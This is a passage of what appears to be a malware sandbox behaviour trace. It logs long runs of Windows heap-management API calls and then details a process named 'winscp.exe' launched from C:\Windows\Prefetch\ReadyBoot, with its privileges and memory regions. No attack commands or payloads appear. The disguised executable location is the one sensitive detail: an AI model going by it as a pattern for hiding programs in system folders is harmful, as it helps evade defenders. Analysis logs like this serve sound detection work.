dwFlags=0x0, lpMem=0x365d10 | out: hHeap=0x350000) returned 1 [0090.776] GetProcessHeap () returned 0x350000 [0090.776] GetProcessHeap () returned 0x350000 [0090.776] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e2a0) returned 1 [0090.776] GetProcessHeap () returned 0x350000 [0090.777] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e2a0) returned 0x200 [0090.777] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e2a0 | out: hHeap=0x350000) returned 1 [0090.777] GetProcessHeap () returned 0x350000 [0090.777] GetProcessHeap () returned 0x350000 [0090.777] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d0a0) returned 1 [0090.777] GetProcessHeap () returned 0x350000 [0090.777] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d0a0) returned 0x18 [0090.777] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d0a0 | out: hHeap=0x350000) returned 1 [0090.777] GetProcessHeap () returned 0x350000 [0090.777] GetProcessHeap () returned 0x350000 [0090.777] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365c80) returned 1 [0090.777] GetProcessHeap () returned 0x350000 [0090.777] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365c80) returned 0x20 [0090.778] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365c80 | out: hHeap=0x350000) returned 1 [0090.778] GetProcessHeap () returned 0x350000 [0090.778] GetProcessHeap () returned 0x350000 [0090.778] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d220) returned 1 [0090.778] GetProcessHeap () returned 0x350000 [0090.778] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d220) returned 0x14 [0090.778] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d220 | out: hHeap=0x350000) returned 1 [0090.778] GetProcessHeap () returned 0x350000 [0090.778] GetProcessHeap () returned 0x350000 [0090.778] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d200) returned 1 [0090.778] GetProcessHeap () returned 0x350000 [0090.778] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d200) returned 0x18 [0090.778] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d200 | out: hHeap=0x350000) returned 1 [0090.778] GetProcessHeap () returned 0x350000 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365bc0) returned 1 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365bc0) returned 0x20 [0090.779] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365bc0 | out: hHeap=0x350000) returned 1 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d240) returned 1 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d240) returned 0x16 [0090.779] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d240 | out: hHeap=0x350000) returned 1 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d1c0) returned 1 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d1c0) returned 0x18 [0090.779] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d1c0 | out: hHeap=0x350000) returned 1 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365b90) returned 1 [0090.779] GetProcessHeap () returned 0x350000 [0090.779] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b90) returned 0x20 [0090.780] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b90 | out: hHeap=0x350000) returned 1 [0090.780] GetProcessHeap () returned 0x350000 [0090.780] GetProcessHeap () returned 0x350000 [0090.780] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba50) returned 1 [0090.780] GetProcessHeap () returned 0x350000 [0090.780] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ba50) returned 0x2 [0090.780] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba50 | out: hHeap=0x350000) returned 1 [0090.780] GetProcessHeap () returned 0x350000 [0090.780] GetProcessHeap () returned 0x350000 [0090.780] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x3659e0) returned 1 [0090.780] GetProcessHeap () returned 0x350000 [0090.780] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x3659e0) returned 0x20 [0090.781] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3659e0 | out: hHeap=0x350000) returned 1 [0090.781] GetProcessHeap () returned 0x350000 [0090.781] GetProcessHeap () returned 0x350000 [0090.781] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365a10) returned 1 [0090.781] GetProcessHeap () returned 0x350000 [0090.781] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365a10) returned 0x20 [0090.796] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365a10 | out: hHeap=0x350000) returned 1 [0090.796] GetProcessHeap () returned 0x350000 [0090.796] GetProcessHeap () returned 0x350000 [0090.796] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365a40) returned 1 [0090.796] GetProcessHeap () returned 0x350000 [0090.796] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365a40) returned 0x20 [0090.797] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365a40 | out: hHeap=0x350000) returned 1 [0090.797] GetProcessHeap () returned 0x350000 [0090.797] GetProcessHeap () returned 0x350000 [0090.797] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365a70) returned 1 [0090.797] GetProcessHeap () returned 0x350000 [0090.797] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365a70) returned 0x20 [0090.798] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365a70 | out: hHeap=0x350000) returned 1 [0090.798] GetProcessHeap () returned 0x350000 [0090.798] GetProcessHeap () returned 0x350000 [0090.798] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36db60) returned 1 [0090.798] GetProcessHeap () returned 0x350000 [0090.798] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36db60) returned 0x20 [0090.799] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36db60 | out: hHeap=0x350000) returned 1 [0090.799] GetProcessHeap () returned 0x350000 [0090.799] GetProcessHeap () returned 0x350000 [0090.799] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e640) returned 1 [0090.799] GetProcessHeap () returned 0x350000 [0090.799] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e640) returned 0xe [0090.799] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e640 | out: hHeap=0x350000) returned 1 [0090.799] GetProcessHeap () returned 0x350000 [0090.799] GetProcessHeap () returned 0x350000 [0090.799] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36db90) returned 1 [0090.799] GetProcessHeap () returned 0x350000 [0090.799] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36db90) returned 0x20 [0090.800] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36db90 | out: hHeap=0x350000) returned 1 [0090.838] GetProcessHeap () returned 0x350000 [0090.838] GetProcessHeap () returned 0x350000 [0090.838] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x367b70) returned 1 [0090.838] GetProcessHeap () returned 0x350000 [0090.838] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x367b70) returned 0x30 [0090.839] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x367b70 | out: hHeap=0x350000) returned 1 [0090.839] GetProcessHeap () returned 0x350000 [0090.839] GetProcessHeap () returned 0x350000 [0090.839] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dbc0) returned 1 [0090.839] GetProcessHeap () returned 0x350000 [0090.839] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dbc0) returned 0x20 [0090.840] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dbc0 | out: hHeap=0x350000) returned 1 [0090.840] GetProcessHeap () returned 0x350000 [0090.840] GetProcessHeap () returned 0x350000 [0090.840] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x367bb0) returned 1 [0090.840] GetProcessHeap () returned 0x350000 [0090.840] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x367bb0) returned 0x30 [0090.840] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x367bb0 | out: hHeap=0x350000) returned 1 [0090.840] GetProcessHeap () returned 0x350000 [0090.840] GetProcessHeap () returned 0x350000 [0090.840] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd40) returned 1 [0090.840] GetProcessHeap () returned 0x350000 [0090.840] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dd40) returned 0x20 [0090.841] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd40 | out: hHeap=0x350000) returned 1 [0090.841] GetProcessHeap () returned 0x350000 [0090.841] GetProcessHeap () returned 0x350000 [0090.841] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e560) returned 1 [0090.841] GetProcessHeap () returned 0x350000 [0090.841] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e560) returned 0xe [0090.841] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e560 | out: hHeap=0x350000) returned 1 [0090.841] GetProcessHeap () returned 0x350000 [0090.841] GetProcessHeap () returned 0x350000 [0090.841] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd10) returned 1 [0090.841] GetProcessHeap () returned 0x350000 [0090.841] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dd10) returned 0x20 [0090.842] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd10 | out: hHeap=0x350000) returned 1 [0090.842] GetProcessHeap () returned 0x350000 [0090.842] GetProcessHeap () returned 0x350000 [0090.842] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e580) returned 1 [0090.842] GetProcessHeap () returned 0x350000 [0090.842] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e580) returned 0x16 [0090.842] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e580 | out: hHeap=0x350000) returned 1 [0090.842] GetProcessHeap () returned 0x350000 [0090.842] GetProcessHeap () returned 0x350000 [0090.842] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dce0) returned 1 [0090.842] GetProcessHeap () returned 0x350000 [0090.842] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dce0) returned 0x20 [0090.843] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dce0 | out: hHeap=0x350000) returned 1 [0090.843] GetProcessHeap () returned 0x350000 [0090.843] GetProcessHeap () returned 0x350000 [0090.843] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e5a0) returned 1 [0090.843] GetProcessHeap () returned 0x350000 [0090.843] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e5a0) returned 0x16 [0090.843] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e5a0 | out: hHeap=0x350000) returned 1 [0090.843] GetProcessHeap () returned 0x350000 [0090.843] GetProcessHeap () returned 0x350000 [0090.843] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dcb0) returned 1 [0090.843] GetProcessHeap () returned 0x350000 [0090.843] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dcb0) returned 0x20 [0090.844] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dcb0 | out: hHeap=0x350000) returned 1 [0090.844] GetProcessHeap () returned 0x350000 [0090.844] GetProcessHeap () returned 0x350000 [0090.844] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x38a560) returned 1 [0090.844] GetProcessHeap () returned 0x350000 [0090.844] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x38a560) returned 0x82 [0090.844] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x38a560 | out: hHeap=0x350000) returned 1 [0090.844] GetProcessHeap () returned 0x350000 [0090.844] GetProcessHeap () returned 0x350000 [0090.844] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc80) returned 1 [0090.844] GetProcessHeap () returned 0x350000 [0090.844] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dc80) returned 0x20 [0090.845] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc80 | out: hHeap=0x350000) returned 1 [0090.845] GetProcessHeap () returned 0x350000 [0090.845] GetProcessHeap () returned 0x350000 [0090.845] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e5e0) returned 1 [0090.845] GetProcessHeap () returned 0x350000 [0090.845] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e5e0) returned 0xe [0090.845] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e5e0 | out: hHeap=0x350000) returned 1 [0090.845] GetProcessHeap () returned 0x350000 [0090.845] GetProcessHeap () returned 0x350000 [0090.845] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc50) returned 1 [0090.845] GetProcessHeap () returned 0x350000 [0090.845] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dc50) returned 0x20 [0090.846] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc50 | out: hHeap=0x350000) returned 1 [0090.846] GetProcessHeap () returned 0x350000 [0090.846] GetProcessHeap () returned 0x350000 [0090.846] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e600) returned 1 [0090.846] GetProcessHeap () returned 0x350000 [0090.846] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e600) returned 0xa [0090.846] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e600 | out: hHeap=0x350000) returned 1 [0090.846] GetProcessHeap () returned 0x350000 [0090.846] GetProcessHeap () returned 0x350000 [0090.846] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc20) returned 1 [0090.846] GetProcessHeap () returned 0x350000 [0090.846] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dc20) returned 0x20 [0090.846] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc20 | out: hHeap=0x350000) returned 1 [0090.847] GetProcessHeap () returned 0x350000 [0090.847] GetProcessHeap () returned 0x350000 [0090.847] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e620) returned 1 [0090.847] GetProcessHeap () returned 0x350000 [0090.847] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e620) returned 0xc [0090.847] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e620 | out: hHeap=0x350000) returned 1 [0090.847] GetProcessHeap () returned 0x350000 [0090.847] GetProcessHeap () returned 0x350000 [0090.847] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dbf0) returned 1 [0090.847] GetProcessHeap () returned 0x350000 [0090.847] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dbf0) returned 0x20 [0090.847] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dbf0 | out: hHeap=0x350000) returned 1 [0090.847] GetProcessHeap () returned 0x350000 [0090.847] GetProcessHeap () returned 0x350000 [0090.848] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba70) returned 1 [0090.848] GetProcessHeap () returned 0x350000 [0090.848] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ba70) returned 0x18 [0090.848] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba70 | out: hHeap=0x350000) returned 1 [0090.848] GetProcessHeap () returned 0x350000 [0090.848] GetProcessHeap () returned 0x350000 [0090.848] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365aa0) returned 1 [0090.848] GetProcessHeap () returned 0x350000 [0090.848] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365aa0) returned 0x20 [0090.848] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365aa0 | out: hHeap=0x350000) returned 1 [0090.849] GetProcessHeap () returned 0x350000 [0090.849] GetProcessHeap () returned 0x350000 [0090.849] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365ad0) returned 1 [0090.849] GetProcessHeap () returned 0x350000 [0090.849] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365ad0) returned 0x20 [0090.849] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365ad0 | out: hHeap=0x350000) returned 1 [0090.849] GetProcessHeap () returned 0x350000 [0090.849] GetProcessHeap () returned 0x350000 [0090.849] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365b00) returned 1 [0090.850] GetProcessHeap () returned 0x350000 [0090.850] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b00) returned 0x20 [0090.850] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b00 | out: hHeap=0x350000) returned 1 [0090.850] GetProcessHeap () returned 0x350000 [0090.850] GetProcessHeap () returned 0x350000 [0090.850] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365b30) returned 1 [0090.850] GetProcessHeap () returned 0x350000 [0090.850] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b30) returned 0x20 [0090.851] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b30 | out: hHeap=0x350000) returned 1 [0090.851] GetProcessHeap () returned 0x350000 [0090.851] GetProcessHeap () returned 0x350000 [0090.851] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba90) returned 1 [0090.851] GetProcessHeap () returned 0x350000 [0090.851] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ba90) returned 0x18 [0090.851] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba90 | out: hHeap=0x350000) returned 1 [0090.851] GetProcessHeap () returned 0x350000 [0090.851] GetProcessHeap () returned 0x350000 [0090.852] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365b60) returned 1 [0090.852] GetProcessHeap () returned 0x350000 [0090.852] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b60) returned 0x20 [0090.852] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b60 | out: hHeap=0x350000) returned 1 [0090.852] GetProcessHeap () returned 0x350000 [0090.852] GetProcessHeap () returned 0x350000 [0090.852] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365bf0) returned 1 [0090.852] GetProcessHeap () returned 0x350000 [0090.852] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365bf0) returned 0x20 [0090.853] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365bf0 | out: hHeap=0x350000) returned 1 [0090.853] GetProcessHeap () returned 0x350000 [0090.853] GetProcessHeap () returned 0x350000 [0090.853] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365c50) returned 1 [0090.853] GetProcessHeap () returned 0x350000 [0090.853] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365c50) returned 0x20 [0090.854] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365c50 | out: hHeap=0x350000) returned 1 [0090.854] GetProcessHeap () returned 0x350000 [0090.854] GetProcessHeap () returned 0x350000 [0090.854] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365cb0) returned 1 [0090.854] GetProcessHeap () returned 0x350000 [0090.854] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365cb0) returned 0x20 [0090.854] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365cb0 | out: hHeap=0x350000) returned 1 [0090.854] GetProcessHeap () returned 0x350000 [0090.854] GetProcessHeap () returned 0x350000 [0090.854] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365ce0) returned 1 [0090.854] GetProcessHeap () returned 0x350000 [0090.854] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365ce0) returned 0x20 [0090.855] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365ce0 | out: hHeap=0x350000) returned 1 [0090.855] GetProcessHeap () returned 0x350000 [0090.855] GetProcessHeap () returned 0x350000 [0090.855] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bab0) returned 1 [0090.855] GetProcessHeap () returned 0x350000 [0090.855] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bab0) returned 0x18 [0090.855] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bab0 | out: hHeap=0x350000) returned 1 [0090.855] GetProcessHeap () returned 0x350000 [0090.855] GetProcessHeap () returned 0x350000 [0090.855] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365c20) returned 1 [0090.855] GetProcessHeap () returned 0x350000 [0090.855] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365c20) returned 0x20 [0090.856] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365c20 | out: hHeap=0x350000) returned 1 [0090.856] GetProcessHeap () returned 0x350000 [0090.856] GetProcessHeap () returned 0x350000 [0090.856] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba30) returned 1 [0090.856] GetProcessHeap () returned 0x350000 [0090.856] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ba30) returned 0x18 [0090.856] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba30 | out: hHeap=0x350000) returned 1 [0090.856] exit (_Code=0) Thread: id = 211 os_tid = 0x964 Process: id = "64" image_name = "winscp.exe" filename = "c:\\windows\\prefetch\\readyboot\\winscp.exe" page_root = "0x3ae5e000" os_pid = "0x95c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5370 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5371 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5372 start_va = 0x100000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5373 start_va = 0xe30000 end_va = 0xf07fff monitored = 1 entry_point = 0xeff1ee region_type = mapped_file name = "winscp.exe" filename = "\\Windows\\Prefetch\\ReadyBoot\\winscp.exe" (normalized: "c:\\windows\\prefetch\\readyboot\\winscp.exe") Region: id = 5374 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5375 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5376 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5377 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5378 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5379 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 5380 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5381 start_va = 0x200000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5382 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5383 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5384 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5393 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5394 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5395 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5396 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5397 start_va = 0x200000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5398 start_va = 0x370000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 5399 start_va = 0x3f0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 5400 start_va = 0x4f0000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 5509 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5510 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5511 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5512 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id 